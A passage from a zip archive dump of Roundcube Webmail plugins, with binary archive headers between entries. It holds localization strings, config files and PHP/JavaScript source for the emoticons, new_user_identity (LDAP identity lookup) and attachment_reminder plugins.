 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'عرض الأوجه المبتسمة كنص مجرّد في الرسائل';
$labels['emoticonscompose'] = 'تشغيل الأوجه المبتسمة';
PKh�\��Gʚ�(plugins/emoticons/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Emoticons in Klartextnachrichten anzeigen';
$labels['emoticonscompose'] = 'Emoticons aktivieren';
PKh�\�L��(plugins/emoticons/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Visa emoji-symboler i textmeddelanden';
$labels['emoticonscompose'] = 'Aktivera emoji-symboler';
PKh�\�S����%plugins/emoticons/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'ئاددىي تېكىست خېتىدە چىراي-ئىپادىلىرىنى كۆرسىتىش';
$labels['emoticonscompose'] = 'چىراي-ئىپادىلىرىنى بار قىلىش';
PKh�\C�}���(plugins/emoticons/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = '일반 텍스트 메시지에서 이모티콘 표시';
$labels['emoticonscompose'] = '이모티콘 활성화';
PKh�\D��(plugins/emoticons/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Mostra emoticons nei messaggi di testo';
$labels['emoticonscompose'] = 'Abilita emoticons';
PKh�\k����(plugins/emoticons/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Mostrar emoticonos en mensajes de texto simple';
$labels['emoticonscompose'] = 'Activar emoticonos';
PKh�\`����(plugins/emoticons/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Emoticons weergeven in tekst zonder opmaak';
$labels['emoticonscompose'] = 'Emoticons inschakelen';
PKh�\@Ϡ��(plugins/emoticons/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Dangos gwenogluniau mewn fformat testun plaen';
$labels['emoticonscompose'] = 'Galluogi gwenogluniau';
PKh�\�s��(plugins/emoticons/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Display emoticons in plain text messages';
$labels['emoticonscompose'] = 'Enable emoticons';
PKh�\au�#��(plugins/emoticons/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Vís "emoticons" í reinum tekst boðum';
$labels['emoticonscompose'] = 'Tendra "emoticons"';
PKh�\h�E��(plugins/emoticons/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Rodyti jaustukus grynojo teksto laiškuose';
$labels['emoticonscompose'] = 'Įgalinti jaustukus';
PKh�\c�6p��(plugins/emoticons/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Mostrar ícones expressivos em mensagens de texto simples';
$labels['emoticonscompose'] = 'Activar ícones expressivos';
PKh�\�T����(plugins/emoticons/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Emoticons plugin           |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-emoticons/
*/

$labels['emoticonsdisplay'] = 'Εμφάνιση emoticons σε μηνύματα απλού κειμένου ';
$labels['emoticonscompose'] = 'Ενεργοποίηση emoticons';
PKh�\� dN��%plugins/emoticons/config.inc.php.distnu�[���<?php

// Enable emoticons in plain text messages preview
$config['emoticons_display'] = false;

// Enable emoticons in compose editor (HTML)
$config['emoticons_compose'] = true;
PKh�\���P��plugins/emoticons/emoticons.phpnu�[���<?php

/**
 * Emoticons.
 *
 * Plugin to replace emoticons in plain text message body with real emoji.
 * Also it enables emoticons in HTML compose editor. Both features are optional.
 *
 * @license GNU GPLv3+
 * @author Thomas Bruederli
 * @author Aleksander Machniak
 * @website https://roundcube.net
 */
class emoticons extends rcube_plugin
{
    public $task = 'mail|settings|utils';


    /**
     * Plugin initialization.
     */
    function init()
    {
        $rcube = rcube::get_instance();

        $this->add_hook('message_part_after', [$this, 'message_part_after']);
        $this->add_hook('html_editor', [$this, 'html_editor']);

        if ($rcube->task == 'settings') {
            $this->add_hook('preferences_list', [$this, 'preferences_list']);
            $this->add_hook('preferences_save', [$this, 'preferences_save']);
        }
    }

    /**
     * 'message_part_after' hook handler to replace common
     * plain text emoticons with emoji
     */
    function message_part_after($args)
    {
        if ($args['type'] == 'plain') {
            $this->load_config();

            $rcube = rcube::get_instance();
            if (!$rcube->config->get('emoticons_display', false)) {
                return $args;
            }

            $args['body'] = self::text2icons($args['body']);
        }

        return $args;
    }

    /**
     * 'html_editor' hook handler, where we enable emoticons in TinyMCE
     */
    function html_editor($args)
    {
        $rcube = rcube::get_instance();

        $this->load_config();

        if ($rcube->config->get('emoticons_compose', true)) {
            $args['extra_plugins'][] = 'emoticons';
            $args['extra_buttons'][] = 'emoticons';
        }

        return $args;
    }

    /**
     * 'preferences_list' hook handler
     */
    function preferences_list($args)
    {
        $rcube         = rcube::get_instance();
        $dont_override = $rcube->config->get('dont_override', []);

        if ($args['section'] == 'mailview' && !in_array('emoticons_display', $dont_override)) {
            $this->load_config();
            $this->add_texts('localization');

            $field_id = 'emoticons_display';
            $checkbox = new html_checkbox(['name' => '_' . $field_id, 'id' => $field_id, 'value' => 1]);

            $args['blocks']['main']['options']['emoticons_display'] = [
                    'title'   => html::label($field_id, $this->gettext('emoticonsdisplay')),
                    'content' => $checkbox->show(intval($rcube->config->get('emoticons_display', false)))
            ];
        }
        else if ($args['section'] == 'compose' && !in_array('emoticons_compose', $dont_override)) {
            $this->load_config();
            $this->add_texts('localization');

            $field_id = 'emoticons_compose';
            $checkbox = new html_checkbox(['name' => '_' . $field_id, 'id' => $field_id, 'value' => 1]);

            $args['blocks']['main']['options']['emoticons_compose'] = [
                    'title'   => html::label($field_id, $this->gettext('emoticonscompose')),
                    'content' => $checkbox->show(intval($rcube->config->get('emoticons_compose', true)))
            ];
        }

        return $args;
    }

    /**
     * 'preferences_save' hook handler
     */
    function preferences_save($args)
    {
        if ($args['section'] == 'mailview') {
            $args['prefs']['emoticons_display'] = (bool) rcube_utils::get_input_value('_emoticons_display', rcube_utils::INPUT_POST);
        }
        else if ($args['section'] == 'compose') {
            $args['prefs']['emoticons_compose'] = (bool) rcube_utils::get_input_value('_emoticons_compose', rcube_utils::INPUT_POST);
        }

        return $args;
    }

    /**
     * Replace common plain text emoticons with emoji
     *
     * @param string $text Text
     *
     * @return string Converted text
     */
    protected static function text2icons($text)
    {
        // This is a lookbehind assertion which will exclude html entities
        // E.g. situation when ";)" in "&quot;)" shouldn't be replaced by the icon
        // It's so long because of assertion format restrictions
        $entity = '(?<!&'
            . '[a-zA-Z0-9]{2}' . '|' . '#[0-9]{2}' . '|'
            . '[a-zA-Z0-9]{3}' . '|' . '#[0-9]{3}' . '|'
            . '[a-zA-Z0-9]{4}' . '|' . '#[0-9]{4}' . '|'
            . '[a-zA-Z0-9]{5}' . '|'
            . '[a-zA-Z0-9]{6}' . '|'
            . '[a-zA-Z0-9]{7}'
            . ')';

        // map of emoticon replacements
        $map = [
            '/(?<!mailto):-?D/'   => self::ico_tag('1f603', ':D'   ), // laugh
            '/:-?\(/'             => self::ico_tag('1f626', ':('   ), // frown
            '/'.$entity.';-?\)/'  => self::ico_tag('1f609', ';)'   ), // wink
            '/8-?\)/'             => self::ico_tag('1f60e', '8)'   ), // cool
            '/(?<!mailto):-?O/i'  => self::ico_tag('1f62e', ':O'   ), // surprised
            '/(?<!mailto):-?P/i'  => self::ico_tag('1f61b', ':P'   ), // tongue out
            '/(?<!mailto):-?@/i'  => self::ico_tag('1f631', ':-@'  ), // yell
            '/O:-?\)/i'           => self::ico_tag('1f607', 'O:-)' ), // innocent
            '/(?<!O):-?\)/'       => self::ico_tag('1f60a', ':-)'  ), // smile
            '/(?<!mailto):-?\$/'  => self::ico_tag('1f633', ':-$'  ), // embarrassed
            '/(?<!mailto):-?\*/i' => self::ico_tag('1f48b', ':-*'  ), // kiss
            '/(?<!mailto):-?S/i'  => self::ico_tag('1f615', ':-S'  ), // undecided
        ];

        return preg_replace(array_keys($map), array_values($map), $text);
    }

    protected static function ico_tag($ico, $title)
    {
        return html::span(['title' => $title], "&#x{$ico};");
    }
}
PKh�\��8�bb'plugins/new_user_identity/composer.jsonnu�[���{
    "name": "roundcube/new_user_identity",
    "type": "roundcube-plugin",
    "description": "Populates a new user's default identity from LDAP on their first visit.",
    "license": "GPL-3.0-or-later",
    "version": "1.2",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\f�X../plugins/new_user_identity/new_user_identity.phpnu�[���<?php
/**
 * New user identity
 *
 * Populates a new user's default identity from LDAP on their first visit.
 *
 * This plugin requires that a working public_ldap directory be configured.
 *
 * @author Kris Steinhoff
 * @license GNU GPLv3+
 */
class new_user_identity extends rcube_plugin
{
    public $task = 'login';

    private $rc;
    private $ldap;

    /**
     * Plugin initialization. API hooks binding.
     */
    function init()
    {
        $this->rc = rcmail::get_instance();

        $this->add_hook('user_create', [$this, 'lookup_user_name']);
        $this->add_hook('login_after', [$this, 'login_after']);
    }

    /**
     * 'user_create' hook handler.
     */
    function lookup_user_name($args)
    {
        if ($this->init_ldap($args['host'], $args['user'])) {
            $results = $this->ldap->search('*', $args['user'], true);

            if (count($results->records) == 1) {
                $user       = $results->records[0];
                $user_name  = is_array($user['name']) ? $user['name'][0] : $user['name'];
                $user_email = is_array($user['email']) ? $user['email'][0] : $user['email'];

                $args['user_name']  = $user_name;
                $args['email_list'] = [];

                if (empty($args['user_email']) && strpos($user_email, '@')) {
                    $args['user_email'] = rcube_utils::idn_to_ascii($user_email);
                }

                if (!empty($args['user_email'])) {
                    $args['email_list'][] = $args['user_email'];
                }

                foreach (array_keys($user) as $key) {
                    if (!preg_match('/^email($|:)/', $key)) {
                        continue;
                    }

                    foreach ((array) $user[$key] as $alias) {
                        if (strpos($alias, '@')) {
                            $args['email_list'][] = rcube_utils::idn_to_ascii($alias);
                        }
                    }
                }

                $args['email_list'] = array_unique($args['email_list']);
            }
        }

        return $args;
    }

    /**
     * 'login_after' hook handler. This is where we create identities for
     * all user email addresses.
     */
    function login_after($args)
    {
        $this->load_config();

        if ($this->ldap || !$this->rc->config->get('new_user_identity_onlogin')) {
            return $args;
        }

        $identities = $this->rc->user->list_emails();
        $ldap_entry = $this->lookup_user_name([
                'user' => $this->rc->user->data['username'],
                'host' => $this->rc->user->data['mail_host'],
        ]);

        if (empty($ldap_entry['email_list'])) {
            return $args;
        }

        foreach ((array) $ldap_entry['email_list'] as $email) {
            foreach ($identities as $identity) {
                if ($identity['email'] == $email) {
                    continue 2;
                }
            }

            $plugin = $this->rc->plugins->exec_hook('identity_create', [
                'login'  => true,
                'record' => [
                    'user_id'  => $this->rc->user->ID,
                    'standard' => 0,
                    'email'    => $email,
                    'name'     => $ldap_entry['user_name']
                ],
            ]);

            if (!$plugin['abort'] && !empty($plugin['record']['email'])) {
                $this->rc->user->insert_identity($plugin['record']);
            }
        }

        return $args;
    }

    /**
     * Initialize LDAP backend connection
     */
    private function init_ldap($host, $user)
    {
        if ($this->ldap) {
            return $this->ldap->ready;
        }

        $this->load_config();

        $addressbook = $this->rc->config->get('new_user_identity_addressbook');
        $ldap_config = (array)$this->rc->config->get('ldap_public');
        $match       = $this->rc->config->get('new_user_identity_match');

        if (empty($addressbook) || empty($match) || empty($ldap_config[$addressbook])) {
            return false;
        }

        $debug  = $this->rc->config->get('ldap_debug');
        $domain = $this->rc->config->mail_domain($host);
        $props  = $ldap_config[$addressbook];

        $this->ldap = new new_user_identity_ldap_backend($props, $debug, $domain, $match);

        return $this->ldap->ready;
    }
}

class new_user_identity_ldap_backend extends rcube_ldap
{
    function __construct($p, $debug, $mail_domain, $search)
    {
        parent::__construct($p, $debug, $mail_domain);
        $this->prop['search_fields'] = (array) $search;
    }
}
PKh�\9�ʑ��-plugins/new_user_identity/config.inc.php.distnu�[���<?php

// The id of the address book to use to automatically set a
// user's full name in their new identity. (This should be an
// string, which refers to the $config['ldap_public'] array.)
$config['new_user_identity_addressbook'] = 'People';

// When automatically setting a user's full name in their
// new identity, match the user's login name against this field.
$config['new_user_identity_match'] = 'uid';

// Determine whether to import user's identities on each login.
// New user identity will be created for each e-mail address
// present in address book, but not assigned to any identity.
$config['new_user_identity_onlogin'] = false;
PKh�\��O��6plugins/attachment_reminder/attachment_reminder.min.jsnu�[���/**
 * Attachment Reminder plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
function rcmail_get_compose_message(){var e=rcmail.editor.get_content({nosig:!0});return e=rcmail.editor.is_html()?e.replace(/<blockquote[^>]*>(.|[\r\n])*<\/blockquote>/gim,"").replace(/<[^>]+>/gm," ").replace(/&nbsp;/g," "):e.replace(/^>.*$/gim,"")}function rcmail_check_message(e){var a=rcmail.get_label("keywords","attachment_reminder").split(",").concat([".doc",".pdf"]),a=$.map(a,function(e){return RegExp.escape(e)}),a=new RegExp("("+a.join("|")+")","i");return-1!=e.search(a)}function rcmail_have_attachments(){return rcmail.env.attachments&&$("li",rcmail.gui_objects.attachmentlist).length}function rcmail_attachment_reminder_dialog(){var e={};e[rcmail.get_label("addattachment")]=function(){$(this).remove(),$("#messagetoolbar a.attach, .toolbar a.attach").first().click()},e[rcmail.get_label("send")]=function(e){$(this).remove(),rcmail.env.attachment_reminder=!0,rcmail.command("send","",e)},rcmail.env.attachment_reminder=!1,rcmail.show_popup_dialog(rcmail.get_label("attachment_reminder.forgotattachment"),rcmail.get_label("attachment_reminder.missingattachment"),e,{button_classes:["mainaction attach","send"]})}window.rcmail&&rcmail.addEventListener("beforesend",function(e){var a=rcmail_get_compose_message(),t=$("#compose-subject").val();if(!rcmail.env.attachment_reminder&&!rcmail_have_attachments()&&(rcmail_check_message(a)||rcmail_check_message(t)))return rcmail_attachment_reminder_dialog(),!1});
PKh�\�Tm���3plugins/attachment_reminder/attachment_reminder.phpnu�[���<?php
/**
 * Attachment Reminder
 *
 * A plugin that reminds a user to attach the files
 *
 * @author Thomas Yu - Sian, Liu
 * @author Aleksander Machniak <machniak@kolabsys.com>
 *
 * Copyright (C) 2013 Thomas Yu - Sian, Liu
 * Copyright (C) Kolab Systems AG
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>
 */

class attachment_reminder extends rcube_plugin
{
    public $task   = 'mail|settings';
    public $noajax = true;


    /**
     * Plugin initialization
     */
    function init()
    {
        $rcmail = rcube::get_instance();

        if ($rcmail->task == 'mail' && $rcmail->action == 'compose') {
            if ($rcmail->config->get('attachment_reminder')) {
                $this->include_script('attachment_reminder.js');
                $this->add_texts('localization/', ['keywords', 'forgotattachment', 'missingattachment']);
                $rcmail->output->add_label('addattachment', 'send');
            }
        }

        if ($rcmail->task == 'settings') {
            $dont_override = $rcmail->config->get('dont_override', []);

            if (!in_array('attachment_reminder', $dont_override)) {
                $this->add_hook('preferences_list', [$this, 'prefs_list']);
                $this->add_hook('preferences_save', [$this, 'prefs_save']);
            }
        }
    }

    /**
     * 'preferences_list' hook handler
     *
     * @param array $args Hook arguments
     *
     * @return array Hook arguments
     */
    function prefs_list($args)
    {
        if ($args['section'] == 'compose') {
            $this->add_texts('localization/');
            $reminder = rcube::get_instance()->config->get('attachment_reminder');
            $field_id = 'rcmfd_attachment_reminder';
            $checkbox = new html_checkbox(['name' => '_attachment_reminder', 'id' => $field_id, 'value' => 1]);

            $args['blocks']['main']['options']['attachment_reminder'] = [
                'title'   => html::label($field_id, rcube::Q($this->gettext('reminderoption'))),
                'content' => $checkbox->show($reminder ? 1 : 0),
            ];
        }

        return $args;
    }

    /**
     * 'preferences_save' hook handler
     *
     * @param array $args Hook arguments
     *
     * @return array Hook arguments
     */
    function prefs_save($args)
    {
        if ($args['section'] == 'compose') {
            $dont_override = rcube::get_instance()->config->get('dont_override', []);
            if (!in_array('attachment_reminder', $dont_override)) {
                $args['prefs']['attachment_reminder'] = !empty($_POST['_attachment_reminder']);
            }
        }

        return $args;
    }
}
PKh�\�+�>)plugins/attachment_reminder/composer.jsonnu�[���{
    "name": "roundcube/attachment_reminder",
    "type": "roundcube-plugin",
    "description": "This Roundcube plugin reminds the user to attach a file if the composed message text indicates that there should be any.",
    "license": "GPL-3.0-or-later",
    "version": "1.1",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        },
        {
            "name": "Thomas Yu - Sian, Liu",
            "email": "",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\;_�x2plugins/attachment_reminder/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "缺少附件吗?";
$messages['forgotattachment'] = "您似乎忘记添加附件了,是否继续发送?";
$messages['reminderoption'] = "忘记添加附件提醒";
$messages['keywords'] = "attachment,file,attach,attached,attaching,enclosed,CV,cover letter";
PKh�\�<�2plugins/attachment_reminder/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Няма далучанага файла?";
$messages['forgotattachment'] = "Забыліся далучыць файл?";
$messages['reminderoption'] = "Нагадваць пра файлы, якія забыліся далучыць";
$messages['keywords'] = "далучаны файл,файл,далучыць,далучаны,далучаецца,укладзены,CV,cover letter";
PKh�\�����2plugins/attachment_reminder/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Липсва прикачен файл?";
$messages['forgotattachment'] = "Забравихте ли да прикрепите файл към съобщението?";
$messages['reminderoption'] = "Напомняне за забравени прикачени файлове";
$messages['keywords'] = "прикачен,прикрепен,прикачам,прикачвам,прикрепям,прикрепвам,файл,attachment,file,attach,attached,attaching,enclosed,CV,cover letter";
PKh�\�M���2plugins/attachment_reminder/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Missing attachment?";
$messages['forgotattachment'] = "Did you forget to attach a file?";
$messages['reminderoption'] = "Remind about forgotten attachments";
$messages['keywords'] = "attachment,file,attach,attached,attaching,enclosed,CV,cover letter";
PKh�\�_$�332plugins/attachment_reminder/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Puuttuva liite?";
$messages['forgotattachment'] = "Unohditko liittää tiedoston?";
$messages['reminderoption'] = "Muistuta mahdollisesti unohtuneista liitteistä";
$messages['keywords'] = "attachment,file,attach,attached,attaching,enclosed,CV,cover letter,liite,tiedosto,liitteenä,liitetiedosto,ansioluettelo";
PKh�\@����2plugins/attachment_reminder/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Mangler vedlegg?";
$messages['forgotattachment'] = "Glemte du å legge ved en fil?";
$messages['reminderoption'] = "Gi meg en påminnelse om glemte vedlegg";
$messages['keywords'] = "vedlegg, fil, legg ved, lagt ved, legger ved, lukket, CV, følgebrev";
PKh�\�	)�  2plugins/attachment_reminder/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Mungon bashkëngjitje?";
$messages['forgotattachment'] = "Mos harruat të bashkëngjitni një kartelë?";
$messages['reminderoption'] = "Kujtoji për bashkëngjitje të harruara";
$messages['keywords'] = "bashkëngjitje,kartelë,bashkëngjite,bashkëngjitur,përfshirë,CV,letër shoqëruese";
PKh�\5""2plugins/attachment_reminder/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Manus puudu?";
$messages['forgotattachment'] = "Unustasid faili lisada?";
$messages['reminderoption'] = "Tuleta mulle meelde kui unustasin manuse lisada";
$messages['keywords'] = "manus,manuses,lisatud,lisasin,fail,file,failis,attachment,file,attach,attached,attaching,enclosed,CV,cover letter";
PKh�\�=���2plugins/attachment_reminder/localization/ku_IQ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

